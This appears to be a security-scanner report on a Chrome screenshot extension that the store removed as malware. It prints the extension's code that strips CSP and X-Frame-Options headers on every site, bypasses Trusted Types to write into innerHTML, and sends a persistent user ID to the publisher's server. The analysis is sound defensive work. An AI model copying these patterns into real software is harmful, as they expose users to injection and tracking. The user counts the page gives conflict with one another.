Chrome Web Store
7Versions
1Code reviewed

Do not install

Removed from the Chrome Web Store as malware (as of Aug 2026)

The Chrome Web Store removed this extension as malware (as of Aug 2026). This is the store’s determination, reported here — not our own review. Do not install it. Remove it if you already have it.

Capture It - Easy Screenshot Tool (Full Page, Selected, Visible Area)

Capture It - Easy Screenshot Tool (Full Page, Selected, Visible Area)

ID: lkalpedlpidbenfnnldoboegepndcddk

Extension Info & Metadata

Status
Active
Version
1.2.2
Size
0.29 MB
Rating
4.5/5
Reviews
33
Users
6,000
Type
Extension
Updated
Aug 23, 2026
Category
Tools
Price
Free
Featured
No
Visibility
Unlisted
Mature
No
By Google
No
Trusted
Yes

This publisher

1 extension, all still listed

Publisher Contextual Analysis

Trusted
Author
paintersky85View Profile
MX records exist
Yes
Domain exists
Yes
Is disposable
No
Is role-based
No
Mailbox exists
Yes
Website
Visit
Total Extensions
1
Active
1
Obsolete
0
Listed
0
Unlisted
1
Total Users
5,000
Item
Type
Severity
Description
declarativeNetRequest
Permission
Critical
This permission allows the extension to define rules to block, redirect, or modify network requests. Rated Critical because it can control all network traffic, potentially blocking security updates or redirecting to malicious sites.
<all_urls>
Host
Critical
Broad host access — the extension can read/modify content on every website.
offscreen
Permission
High
This permission creates hidden browser documents with full DOM access. Rated High because it can run background operations invisibly, potentially executing malicious code without user awareness.
Contextual Risk Factors
Risk Factor
High
The following context increases the overall risk:• 10% increase: Early script execution enables pre-emptive content manipulation
Broad Host Permissions
Risk Factor
High
This extension has broad host permissions allowing it to access many or all websites.
storage
Permission
Medium
This permission allows storing data locally in the browser. Rated Medium because it can persist sensitive user data, track user activities over time, and potentially store malicious payloads.
unlimitedStorage
Permission
Medium
This permission removes storage quota restrictions. Rated Medium because it can store large amounts of user data without limits, potentially impacting browser performance and storing extensive tracking data.
Early Content Script Execution
Risk Factor
Medium
This extension runs content scripts at document_start.
system.display
Permission
Low
This permission reads display configuration. Rated Low because it only accesses screen properties without content access.

The declarativeNetRequest rules unconditionally strip Content-Security-Policy, CSP-Report-Only, and X-Frame-Options response headers from every main_frame and sub_frame on every site (urlFilter: "*"). Removing CSP disables script-source restrictions site-wide, and removing X-Frame-Options enables clickjacking by allowing any site to be framed. The extra removals of recording-quality / recording-watermark / screen-recording headers also indicate intent to bypass anti-recording protections used by streaming/DRM content. This dramatically weakens browser security for all 8,000 users on every page they visit and is far beyond what a screenshot tool needs.

rules.json (Line 1)
[  {    "id": 1,    "priority": 1,    "action": {      "type": "modifyHeaders",      "responseHeaders": [        {          "header": "recording-quality",          "operation": "remove"        },        {          "header": "content-security-policy-report-only",          "operation": "remove"        },        {          "header": "recording-watermark",          "operation": "remove"        },        {          "header": "content-security-policy",          "operation": "remove"        },        {          "header": "screen-recording",          "operation": "remove"        },        {          "header": "x-frame-options",          "operation": "remove"        }      ]    },    "condition": {      "urlFilter": "*",      "resourceTypes": [        "main_frame",        "sub_frame"      ]    }  }]

The extension generates a persistent UUID on first run, stores it in chrome.storage.local, and beacons it to capture-it.online/extensionData/v2 every four hours together with the user's keyboard shortcut. This is a stable cross-session device/user identifier sent to a publisher-controlled server, enabling long-term tracking of individual users — functionality unrelated to taking screenshots. The same UUID is also appended to the uninstall URL (chrome.runtime.setUninstallURL(`...uninstall/${uuid}`)), confirming its use as a tracking ID.

script/background.js (Line 111)
const generateUUID = () => {  let id = "xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g, (c => {    const r = Math.random() * 16 | 0;    const v = c === "x" ? r : r & 3 | 8;    return v.toString(16);  }));  if (false) {}  return id;};const getUUID = () => __awaiter(void 0, void 0, void 0, (function*() {  const data = yield new Promise((resolve => {    chrome.storage.local.get(["uuid"], (result => {      resolve(result);    }));  }));  if (data.uuid !== undefined) {    return data.uuid;  } else {    const newUUID = generateUUID();    yield chrome.storage.local.set({      uuid: newUUID    });    return newUUID;  }}));const actualData = () => __awaiter(void 0, void 0, void 0, (function*() {        const {          shortcut        } = yield chrome.storage.local.get(["shortcut"]);        const uuid = yield getUUID();        const payload = {          connectStamp: uuid,          activeShortcut: shortcut ? {            code: shortcut.symbol,            symbol: shortcut.symbol[3]          } : null        };        const response = yield fetch("https://capture-it.online/extensionData/v2", {          method: "POST",          headers: {            "Content-Type": "application/json"          },          body: JSON.stringify(payload)        });

region.js, which the content script injects into the page context as a <script> tag, creates a Trusted Types policy named "forceInner" whose createHTML simply returns its input unchanged, then uses it to assign innerHTML from a string built out of an arbitrary postMessage payload (event.data.styles, originating from chrome.storage.local.styles which is read/written by the extension and could be set from messages). The pass-through policy defeats Trusted Types protection on Trusted-Types-enforcing sites (which the rules.json CSP-strip already disables anyway), and the innerHTML sink consumes message data without sanitization — a textbook DOM-XSS / HTML injection pattern wrapped in a content script that runs on every http(s) page.

script/region.js (Line 55)
const shadowDom = document.createElement("div");const uniqElementId = "id" + Math.random().toString(36).slice(2, 8);const overlay = document.createElement("div");const regionOverlay = document.createElement("div");const escapeHTMLPolicy = trustedTypes.createPolicy("forceInner", {  createHTML: to_escape => to_escape});overlay.setAttribute("class", "shadow");regionOverlay.setAttribute("class", "region");shadowDom.id = uniqElementId;shadowDom.setAttribute("data-zxc", "true");shadowDom.setAttribute("style", "display: none;");shadowDom.attachShadow({  mode: "open"});...window.addEventListener("message", (event => {        if (event.data.message === "sendStyles" && event.data.zxc) {          shadowDom.shadowRoot.innerHTML = escapeHTMLPolicy.createHTML(            `<style>${event.data.styles}</style>`);

On uninstall the browser is directed to https://capture-it.online/uninstall/<persistent-uuid>, exfiltrating the per-user tracking identifier together with the uninstall event. This lets the publisher correlate uninstalls to specific installs over time, an unauthorized data-collection pattern not disclosed to users.

script/background.js (Line 381)
chrome.runtime.onInstalled.addListener((details => __awaiter(void 0, void 0, void 0, (function*() {  const uuid = yield getUUID();  chrome.runtime.setUninstallURL(`${"https://capture-it.online/uninstall/"}${uuid}`);  if (details.reason === "install") {    yield chrome.storage.local.set({      styles: DEFAULT_STYLES,      pages: PAGES,      installDate: Date.now()    });    yield chrome.storage.local.set({      nextUpdate: Date.now() + 1e3 * 60 * 60 * 4    });    yield actualData();  }}))));

The content script (which runs at document_start, all_frames, on <all_urls>) injects script/region.js into the page's main world via a dynamically created <script> element on every page load. While the script source is bundled (not remote), the combination of universal early-execution injection + a Trusted-Types-bypassing policy in region.js + the manifest's host-wide CSP-stripping rule lets attacker-controlled chrome.storage values reach innerHTML inside a page-world script context. This is overreach for a screenshot tool that only needs to act when invoked.

script/content.js (Line 330)
const integrate = () => {  if (document.head && document.head.appendChild) {    const region = document.createElement("script");    region.src = chrome.runtime.getURL("script/region.js");    document.head.appendChild(region);    chrome.runtime.sendMessage({      action: "updateDataPls"    });  } else {    setTimeout(integrate, 100);  }};integrate();

Content script is configured to inject into every frame of every http/https page at document_start. For an action-popup-driven screenshot tool there is no need to run before page scripts on every site (including subframes); document_start + all_frames + <all_urls> maximizes the surface for the page-context script injection and Trusted-Types-bypass behavior in region.js, and is the early-execution pattern flagged by the heuristic.

manifest.json (Line 34)
{  "content_scripts": [    {      "matches": [        "http://*/*",        "https://*/*"      ],      "all_frames": true,      "js": [        "script/content.js"      ],      "run_at": "document_start"    }  ]}

By severity

Critical1
High2
Medium3
Low0

Versions scanned

Showing 1 of 7 scanned versions with more than one unique finding. Counts are unique findings that include each version.

Extension VersionCode Review Findings
1.2.26

Files with findings

5 distinct paths — top paths by unique finding count:

  • script/background.js2
  • manifest.json1
  • rules.json1
  • script/content.js1
  • script/region.js1
S.No.
Category
Severity
File
Summary
Found in Version
1Network Interception
critical
rules.json (line 1)The declarativeNetRequest rules unconditionally strip Content-Security-Policy, CSP-Report-Only, and X-Frame-Options response headers from every main_frame and sub_frame on every site (urlFilter: "*"). Removing CSP dis…
1.2.2
2Code Injection
high
script/region.js (line 55)region.js, which the content script injects into the page context as a <script> tag, creates a Trusted Types policy named "forceInner" whose createHTML simply returns its input unchanged, then uses it to assign innerH…
1.2.2
3Tracking
high
script/background.js (line 111)The extension generates a persistent UUID on first run, stores it in chrome.storage.local, and beacons it to capture-it.online/extensionData/v2 every four hours together with the user's keyboard shortcut. This is a st…
1.2.2
4Code Injection
medium
script/content.js (line 330)The content script (which runs at document_start, all_frames, on <all_urls>) injects script/region.js into the page's main world via a dynamically created <script> element on every page load. While the script source i…
1.2.2
5Privilege Escalation
medium
manifest.json (line 34)Content script is configured to inject into every frame of every http/https page at document_start. For an action-popup-driven screenshot tool there is no need to run before page scripts on every site (including subfr…
1.2.2
6Unauthorized Data Collection
medium
script/background.js (line 381)On uninstall the browser is directed to https://capture-it.online/uninstall/<persistent-uuid>, exfiltrating the per-user tracking identifier together with the uninstall event. This lets the publisher correlate uninsta…
1.2.2
URLs
18

URLs

View the external URLs this extension communicates with to understand its network activity and data interactions.

Gain full insight into all external connections.

Upgrade for full visibility.

www.w3.org/2000/svghttp://www.w3.org/2000/svg
www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtdhttp://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd
www.w3.org/1999/xlinkhttp://www.w3.org/1999/xlink
www.google-analytics.com/collecthttps://www.google-analytics.com/collect
a-http://a
a/c%20dhttp://a/c%20d?a=1&c=3
b-https://a@b
xn--e1aybc-http://тест
a-http://a#б
x-http://x
Showing 1 to 10 of 20 rows
Rows per page:

Gain full insight into all external connections.

Upgrade for full visibility.

No IP addresses found
Showing 1 to 7 of 10 rows
Rows per page:

Code Diff

Compare extension code between any two versions.

0 changed files (scanned top 25 shared text files)

No comparable text files found between these versions.

About this extension

Capture It: An easy-to-use full page screenshot tool for Chrome users. Simplify your workflow with just a click!

Read the publisher’s full description

From capturing snapshots to editing images, Capture It is the ultimate screenshot tool for Chrome users. 🚀 Take control of your screen capturing with Capture It – the top-rated Chrome screenshot extension! ✨ What Capture It Offers: Three Capture Modes: 1️⃣ Full Page Screen Capture: Scroll and capture the entire webpage seamlessly. 2️⃣ Selected Area: Choose and capture exactly what you need. 3️⃣ Visible Part: Instantly capture only the visible portion of a webpage. Comprehensive Screen Support: ▪️ Capture the Entire Screen, specific Windows, or individual Tabs with ease. ✏️ Intuitive Editor: ▪️ Crop, resize, flip, rotate, and draw shapes effortlessly. ▪️ Add text, icons, or filters to enhance your screenshots. ▪️ Use the action history feature to undo or redo edits. ▪️ Copy your screenshot instantly to your clipboard for seamless sharing. ▪️ Download your final images in just one click for offline use. ▪️ Delete shapes, text, or icons with one click to refine your screenshots. ▪️ Reset all edits to start fresh when needed. 💻 Streamline your workflow with Capture It – a reliable screenshot taker designed for all your needs. Install Capture It now and experience the best screen capture tool for Chrome – it's completely accessible!

Screenshots & videos

Screenshot 1

Install growth

User reviews

Extension files

Browse and explore files within this extension package

Gain full insight into all external connections.

Upgrade for full visibility.